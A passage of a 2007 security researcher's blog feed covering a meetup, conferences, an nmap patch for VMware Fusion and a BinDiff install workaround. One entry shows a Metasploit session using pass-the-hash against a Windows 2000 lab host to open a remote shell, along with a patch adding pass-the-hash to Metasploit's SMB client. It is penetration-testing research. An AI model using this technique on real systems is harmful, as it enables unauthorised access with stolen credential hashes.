infosec people without a vendor bent, announcing &lt;a href="http://grutz.jingojango.net/berksec/"&gt;BERKSEC 0001&lt;/a&gt; - just because, why not, it's not in SF.&lt;br /&gt;&lt;br /&gt;Come on by the Albatross Pub on Tuesday, Oct 30 at 7:30 or 8pm or later... Look for the long haired guy with a Toorcon t-shirt and join us.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/3950547396310956740/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=3950547396310956740" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3950547396310956740?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/3950547396310956740?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/175399666/announcing-berksec.html" title="Announcing BerkSec" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/10/announcing-berksec.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-1839233107537452610</id><published>2007-10-25T08:31:00.000-07:00</published><updated>2007-10-25T08:39:14.124-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-10-25T08:39:14.124-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="pass the hash" /><category scheme="http://www.blogger.com/atom/ns#" term="web security" /><title type="text">NTLM Hash Update</title><content type="html">Things got a little busy/crazy around here so I'm not satisfied with what I have done so far so no code yet. This past weekend was Toorcon 1001 and it was as enjoyable as ever. I had a few breakthrough ideas thanks to the talks and side chats with everybody. That's mostly why I'm not satisfied -- always room for improvement. :)&lt;br /&gt;&lt;br /&gt;I promise to show something soon. Really.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/1839233107537452610/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=1839233107537452610" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/1839233107537452610?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/1839233107537452610?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/174899750/ntlm-hash-update.html" title="NTLM Hash Update" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/10/ntlm-hash-update.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-7592825072335389097</id><published>2007-10-12T13:29:00.000-07:00</published><updated>2007-10-12T13:34:13.353-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-10-12T13:34:13.353-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title type="text">NTLM Hashes Like Pokemon</title><content type="html">I recently finished up a patch to Metasploit that processes NTLM Type Messages. These are the negotiated messages when authenticating to HTTP(S), IMAP, POP3 or SMTP. If you follow the svn trunk of Metasploit the support is there. Hopefully this weekend I'll finalize everything for a cool release.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/7592825072335389097/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=7592825072335389097" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7592825072335389097?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7592825072335389097?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/169100538/ntlm-hashes-like-pokemon.html" title="NTLM Hashes Like Pokemon" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/10/ntlm-hashes-like-pokemon.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-867942488463444876</id><published>2007-08-24T17:03:00.001-07:00</published><updated>2007-08-24T17:21:47.053-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-08-24T17:21:47.053-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="nmap" /><category scheme="http://www.blogger.com/atom/ns#" term="vmware fusion" /><category scheme="http://www.blogger.com/atom/ns#" term="osx" /><title type="text">VMWare Fusion Doesn't Play Nice With BPF</title><content type="html">For a while now I've been avoiding a problem with NMap and OS/X w/ VMWare Fusion installed. It's been posted about a few times on the mailing list and I always say "just shut Fusion down for it to work." Yeah, it works but it's not a real solution.&lt;br /&gt;&lt;br /&gt;So I spent a few minutes today to figure out just WHY this is happening. Turns out my original assumption of Fusion not building "valid" interfaces is partly correct. The "vmnet[x]" interfaces can not be opened with BPF! I wrote a quick program to check it out:&lt;br /&gt;&lt;blockquote&gt;macpro:~ grutz$ sudo ./testbpf vmnet8&lt;br /&gt;ERROR: Device not configured&lt;br /&gt;&lt;/blockquote&gt;ktrace validates:&lt;br /&gt;&lt;blockquote&gt;  2721 testbpf  CALL  ioctl(0x83,0x8020426c ,0xbffffb28)&lt;br /&gt;2721 testbpf  RET   ioctl -1 errno 6 Device not configured&lt;/blockquote&gt;So VMWare isn't creating valid interfaces. No tcpdump for you (and no nmap)! The solutions so far have been to shutdown the interfaces but what if you need to keep Fusion up and running?&lt;br /&gt;&lt;br /&gt;Here's a quick and dirty patch applied to tcpip.cc that will skip over the vmnet interfaces. Until Fusion fixes their set up this is the only way it'll work.&lt;br /&gt;&lt;blockquote&gt;      /* skip broken VMWare Fusion vmnet interfaces  */&lt;br /&gt;     #ifdef MACOSX&lt;br /&gt;     if (strncmp(ifr-&gt;ifr_name, "vmnet", 5) == 0)&lt;br /&gt;       continue;&lt;br /&gt;     #endif&lt;br /&gt;&lt;/blockquote&gt;Sigh.&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/867942488463444876/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=867942488463444876" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/867942488463444876?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/867942488463444876?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775833/vmware-fusion-doesnt-play-nice-with-bpf.html" title="VMWare Fusion Doesn't Play Nice With BPF" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/08/vmware-fusion-doesnt-play-nice-with-bpf.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-687841514861067113</id><published>2007-08-08T03:54:00.000-07:00</published><updated>2007-08-08T04:06:42.069-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-08-08T04:06:42.069-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ccc" /><title type="text">Chaos Camp 2007: The beginning!</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_EOfriOpdNHM/RrmjgBrV3QI/AAAAAAAAAB4/U4SfMXqwKKE/s1600-h/IMG_0642.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_EOfriOpdNHM/RrmjgBrV3QI/AAAAAAAAAB4/U4SfMXqwKKE/s400/IMG_0642.JPG" alt="" id="BLOGGER_PHOTO_ID_5096284223947791618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Short and brief here. Surprisingly we all made it here in time to defend our freedoms and set up camp before another group could claim. Of course since we're the American Embassy here we would've taken the land anyways. We're Americans, whats yours will soon be ours!!&lt;br /&gt;&lt;br /&gt;To be honest I'm really amazed at everything here. The people are awesome, the environment couldn't be better and the number of unique camps, activities and talks available simply can not be beat. If you're awake at 4am PST you can watch the talks live at http://events.ccc.de/camp/2007/Streams&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/687841514861067113/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=687841514861067113" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/687841514861067113?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/687841514861067113?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775834/chaos-camp-2007-beginning.html" title="Chaos Camp 2007: The beginning!" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp0.blogger.com/_EOfriOpdNHM/RrmjgBrV3QI/AAAAAAAAAB4/U4SfMXqwKKE/s72-c/IMG_0642.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/08/chaos-camp-2007-beginning.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-7227312900839612276</id><published>2007-07-29T18:04:00.000-07:00</published><updated>2007-07-29T19:24:22.507-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-07-29T19:24:22.507-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ccc" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title type="text">Defcon and Chaos Camp 2007</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_EOfriOpdNHM/Rq1LnxrV3PI/AAAAAAAAABs/aKydjx96FDk/s1600-h/hoap_logo.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://bp3.blogger.com/_EOfriOpdNHM/Rq1LnxrV3PI/AAAAAAAAABs/aKydjx96FDk/s320/hoap_logo.gif" alt="" id="BLOGGER_PHOTO_ID_5092809900348005618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This weekend is &lt;a href="http://www.defcon.org/"&gt;DefCon 16&lt;/a&gt;. All signs say this year is going to be just as big, if not bigger, than it's been in the past. Part of me misses the Alexis Park experience. It felt more homely, more tightly knit together than at a casino. Maybe it's just me. :)&lt;br /&gt;&lt;br /&gt;I'll also be a part of the &lt;a href="http://hackersonaplane.info/"&gt;Hackers on a Plane&lt;/a&gt;! We're flying right after DC to the &lt;a href="http://www.ccc.de/camp/"&gt;Chaos Computer Camp&lt;/a&gt;. I've lamented often to friends on how disjointed we are, specifically within the Bay Area, as a community of hackers. I'm not one to talk because I'm just as bad about staying home and keeping things to myself as the rest of us. Hopefully CCC.de will help invigorate me to make some changes. This little spot on the Internet has helped a little. I no longer feel like an evil anti-social hacker -- ok, maybe a little.&lt;br /&gt;&lt;br /&gt;Hope to see everyone there!&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/7227312900839612276/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=7227312900839612276" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7227312900839612276?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7227312900839612276?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775835/defcon-and-chaos-camp-2007.html" title="Defcon and Chaos Camp 2007" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_EOfriOpdNHM/Rq1LnxrV3PI/AAAAAAAAABs/aKydjx96FDk/s72-c/hoap_logo.gif" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/07/defcon-and-chaos-camp-2007.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-6254243412818036642</id><published>2007-07-19T10:53:00.001-07:00</published><updated>2007-07-19T11:47:40.209-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-07-19T11:47:40.209-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ida" /><category scheme="http://www.blogger.com/atom/ns#" term="reverse engineering" /><category scheme="http://www.blogger.com/atom/ns#" term="bindiffsuite" /><title type="text">eEye's BinDiffing Suite for IDA Pro 5.1</title><content type="html">It's been a while since I've posted anything, mostly because I've been very busy changing jobs, starting a penetration testing group from the ground up. That plus all the initial new employee training have eaten up a lot of my time.&lt;br /&gt;&lt;br /&gt;One thing we'll be doing is Binary Diffing. I fully believe every good penetration tester should be able to understand assembly, research new vulnerabilities and reverse engineer in some capacity. A good binary diffing program helps a LOT!&lt;br /&gt;&lt;br /&gt;While I was waiting for our purchasing department to order Sabre's &lt;a href="http://www.sabre-security.com/products/bindiff.html"&gt;BinDiff&lt;/a&gt; I took a look at eEye's &lt;a href="http://research.eeye.com/html/tools/RT20060801-1.html"&gt;BinDiffingSuite&lt;/a&gt;. With my copy of IDA 5.1 installed I downloaded the tool and started the installation. I'm soon greeted with a message saying:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;...requires requires IDA Pro Standard v5.0 or IDA Pro Advanced v5.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;During this month's eEye vulnerability forum I asked if there were any plans to update the tool to support IDA 5.1. &lt;span style="font-style: italic;"&gt;Hackers take note&lt;/span&gt; - Alex's response is "We all use 5.0 here and it works well." Uh, aren't there are known vulnerabilities against IDA 5.0? Are you guys running out-dated software?!&lt;br /&gt;&lt;br /&gt;Flame baiting aside, the MSI file is doing a very simple check for installed IDA versions. Here's how you can get it installed  and running with the latest (and more secure.. ahem) version of IDA. The IDA SDK has been pretty stable since v4.9 so the suite works with v5.1 without hassle:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Open RegEdit and go to the key &lt;span style="font-style: italic;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IDA Pro_is1&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Change the DisplayName to say "IDA Pro Standard v5.0" or "IDA Pro Professional v5.0"&lt;/li&gt;&lt;li&gt;Re-rerun BinDiffSuite.exe and install&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Change it back to what it was previously (if you want)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Have fun!&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;This really is a nice suite of tools. Big kudos to eEye for releasing it and including source code!&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/6254243412818036642/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=6254243412818036642" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/6254243412818036642?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/6254243412818036642?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775836/eeyes-bindiffing-suite-for-ida-pro-51.html" title="eEye's BinDiffing Suite for IDA Pro 5.1" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/07/eeyes-bindiffing-suite-for-ida-pro-51.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-338597606358045738</id><published>2007-05-23T11:13:00.000-07:00</published><updated>2007-05-23T11:25:29.865-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-05-23T11:25:29.865-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ISACA ISACA ISACA" /><category scheme="http://www.blogger.com/atom/ns#" term="trademark" /><title type="text">Intel ISACA Intel ISACA Inside</title><content type="html">In today's &lt;a href="http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2007/05/23/BUG0QPVK0L1.DTL&amp;type=business"&gt;San Francisco Chronicle&lt;/a&gt;, David Lazarus writes on how Intel protects its trademarked name. I found it funny in relation to my friend's little &lt;a href="http://grutztopia.jingojango.net/2007/05/isaca-isaca-isaca.html"&gt;ISACA&lt;/a&gt; episode I posted about. While I can understand that a company has to be vigilant with ensuring somebody isn't devaluing their name or causing consumer confusion but some things are just a little too surreal.&lt;br /&gt;&lt;br /&gt;In this case Intel is saying a woman whose business is selling houses in the VA/DC/MD area can't use the name "IntelAgent" because it would like cause confusion. Their option was to use "IntelliAgent" since the intent was to combine the words "Intelligent" and "Agent" together - IntelAgent! &lt;br /&gt;&lt;br /&gt;Of course "IntelliAgent" works if you're from the south where extra syllables (syl-ah-buhls) are added willy-nilly. IntelliAgent (in-tell-ee-ah-gent), "I is intelliagent."&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/338597606358045738/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=338597606358045738" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/338597606358045738?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/338597606358045738?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775837/intel-isaca-intel-isaca-inside.html" title="Intel ISACA Intel ISACA Inside" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/05/intel-isaca-intel-isaca-inside.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-7459417781874724936</id><published>2007-05-09T00:12:00.000-07:00</published><updated>2007-05-09T00:19:10.921-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-05-09T00:19:10.921-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="pass the hash" /><title type="text">Pass The Hash Support for Metasploit</title><content type="html">Surprisingly Metasploit 3's SMB auth routines didn't support "pass the hash" so I took some time and put it in.&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family: courier new;"&gt;msf exploit(ms06_040_netapi) &gt; set SMBPass 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C&lt;br /&gt;SMBPass =&gt; 6A98EB0FB88A449CBE6FABFD825BCA61:A4141712F19E9DD5ADF16919BB38A95C&lt;br /&gt;msf exploit(ms06_040_netapi) &gt; set SMBUser Administrator&lt;br /&gt;SMBUser =&gt; Administrator&lt;br /&gt;msf exploit(ms06_040_netapi) &gt; exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Started bind handler&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Doing pass the hash.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] LM: 6A98EB0FB88A449CBE6FABFD825BCA61&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] NT: A4141712F19E9DD5ADF16919BB38A95C&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Detected a Windows 2000 target&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.110.130[\BROWSER] ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Building the stub data...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Calling the vulnerable function...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[*] Command shell session 1 opened (192.168.110.1:42485 -&gt; 192.168.110.130:4444)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Microsoft Windows 2000 [Version 5.00.2195]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;(C) Copyright 1985-2000 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;C:\WINNT\system32&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;/blockquote&gt;The Patch:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Index: lib/rex/proto/smb/client.rb&lt;br /&gt;===================================================================&lt;br /&gt;--- lib/rex/proto/smb/client.rb (revision 4889)&lt;br /&gt;+++ lib/rex/proto/smb/client.rb (working copy)&lt;br /&gt;@@ -568,8 +568,13 @@&lt;br /&gt;&lt;br /&gt;                raise XCEPT::NTLM1MissingChallenge if not self.challenge_key&lt;br /&gt;&lt;br /&gt;-               hash_lm = pass.length &gt; 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''&lt;br /&gt;-               hash_nt = pass.length &gt; 0 ? CRYPT.ntlm_md4(pass, self.challenge_key)   : ''&lt;br /&gt;+               if (pass.length == 65)&lt;br /&gt;+                       hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key)&lt;br /&gt;+                       hash_nt = CRPYT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key)&lt;br /&gt;+               else&lt;br /&gt;+                       hash_lm = pass.length &gt; 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''&lt;br /&gt;+                       hash_nt = pass.length &gt; 0 ? CRYPT.ntlm_md4(pass, self.challenge_key)   : ''&lt;br /&gt;+               end&lt;br /&gt;&lt;br /&gt;                data = ''&lt;br /&gt;                data &lt;&lt; hash_lm&lt;br /&gt;@@ -690,7 +695,11 @@&lt;br /&gt;                nonce = CRYPT.md5_hash(self.challenge_key + client_challenge)&lt;br /&gt;&lt;br /&gt;                # Generate the NTLM hash&lt;br /&gt;-               resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])&lt;br /&gt;+               if (pass.length == 65)&lt;br /&gt;+                       resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8])&lt;br /&gt;+               else&lt;br /&gt;+                       resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])&lt;br /&gt;+               end&lt;br /&gt;&lt;br /&gt;                # Generate the fake LANMAN hash&lt;br /&gt;                resp_lmv2 = client_challenge + ("\x00" * 16)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;&lt;img src="http://www.feedburner.com/fb/images/pub/feed-icon32x32.png" alt="" style="border:0"/&gt;&lt;/a&gt;&lt;a href="http://feeds.feedburner.com/grutztopia" title="Subscribe to my feed" rel="alternate" type="application/rss+xml"&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://grutztopia.jingojango.net/feeds/7459417781874724936/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=28687371&amp;postID=7459417781874724936" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7459417781874724936?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/28687371/posts/default/7459417781874724936?v=2" /><link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/grutztopia/~3/162775838/pass-hash-support-for-metasploit.html" title="Pass The Hash Support for Metasploit" /><author><name>Kurt Grutzmacher</name><uri>http://www.blogger.com/profile/07238514087343942495</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://grutztopia.jingojango.net/2007/05/pass-hash-support-for-metasploit.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-28687371.post-6813607267428813553</id><published>2007-05-08T08:11:00.000-07:00</published><updated>2007-05-08T08:16:12.877-07:00</updated><app:edited xmlns:app="http://purl.org/atom/app#">2007-05-08T08:16:12.877-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ISACA ISACA ISACA" /><category scheme="http://www.blogger.com/atom/ns#" term="trademark" /><title type="text">ISACA ISACA ISACA</title><content type="html">Yesterday a friend of mine related a rather interesting tale. Like a lot of 